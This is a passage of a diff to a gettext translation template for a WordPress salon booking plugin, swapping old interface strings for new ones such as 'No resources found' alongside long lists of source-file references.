build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_form_actions.php:112, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:13\n-msgid \"Complete\"\n+#. %s will be replaced by $service name,\n+#. %s will be replaced by the service name\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:75\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:75\n+#, php-format\n+msgid \"No one of the attendants isn't available for %s service\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_form_actions.php:133, views\u002Fshortcode\u002F_services_data_empty.php:30, views\u002Fshortcode\u002F_unavailable.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_form_actions.php:133, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:30, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_unavailable.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:133, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:30, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_unavailable.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_form_actions.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_unavailable.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_form_actions.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_unavailable.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_form_actions.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_unavailable.php:28\n-msgid \"Back\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:200\n+msgid \"No one of the attendants isn't available for selected services\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_form_actions.php:134, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_form_actions.php:134, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:134, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_form_actions.php:134, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_form_actions.php:134, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_form_actions.php:134\n-msgid \"Start over\"\n+#. %s will be replaced by the service name\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:76\n+#, php-format\n+msgid \"No one of the resources isn't available for %s service\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_m_attendants.php:87, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_m_attendants.php:87, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_m_attendants.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_m_attendants.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_m_attendants.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_m_attendants.php:87\n-msgid \"The choice of assistant is not provided for this service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:38\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:38\n+msgid \"\"\n+\"No online payment data found for this booking. The booking may use a non-\"\n+\"trackable payment method (e.g. cash \u002F pay later).\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_package_item.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_package_item.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_package_item.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_package_item.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_package_item.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_package_item.php:33\n-msgid \"Discover included services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:78\n+msgid \"No post to duplicate has been supplied!\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_package_item.php:34, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_package_item.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_package_item.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_package_item.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_package_item.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_package_item.php:34\n-msgid \"Hide included services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:143\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:143\n+msgid \"No purchase code found\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_progbar.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_progbar.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_progbar.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_progbar.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_progbar.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_progbar.php:13\n-msgid \"Step\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:150\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:316\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:150\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:316\n+msgid \"No resources\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_date_pickers.php:36, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:36, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:36\n-msgid \"Booking rules\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:136\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:136\n+msgid \"No resources available for this service at \"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_date_pickers.php:37, views\u002Fshortcode\u002F_salon_summary_400.php:101, views\u002Fshortcode\u002F_salon_summary_600.php:101, views\u002Fshortcode\u002F_salon_summary_900.php:100, src\u002FSLN\u002FPostType\u002FAttendant.php:252, src\u002FSLN\u002FPostType\u002FAttendant.php:256, views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:101, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:101, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:100, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:252, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:256, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:101, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:101, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:100, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:252, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:256, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:252, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:256, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:252, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:256, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:252, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:256, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:11\n-msgid \"Assistants\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:218\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:218\n+msgid \"No resources found\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_detail_content.php:68, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_detail_content.php:68, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_content.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_detail_content.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_detail_content.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_detail_content.php:68\n-msgid \"Select an option\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:219\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:219\n+msgid \"No resources found in trash\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_detail_login.php:7, src\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:36, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:36, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:36\n-msgid \"Forgot password?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_search_result.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_search_result.php:47\n+msgid \"No results\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_detail_login.php:13, src\u002FSLN\u002FEnum\u002FCheckoutFields.php:309, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:309, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:309, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:309, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:309, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:309\n-msgid \"Password\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:71\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:71\n+msgid \"No services addded yet\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_detail_login.php:91, views\u002Fshortcode\u002F_salon_detail_login.php:59, views\u002Fshortcode\u002F_salon_detail_login.php:36, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:91, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:59, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:36, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:91, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:59, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:91, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:91, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:91, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:36\n-msgid \"Login\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:262\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:262\n+msgid \"No services found\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_detail_login.php:95, views\u002Fshortcode\u002F_salon_detail_login.php:55, views\u002Fshortcode\u002F_salon_detail_login.php:40, src\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:70, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:95, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:55, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:40, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:70, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:95, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:55, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:40, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:70, 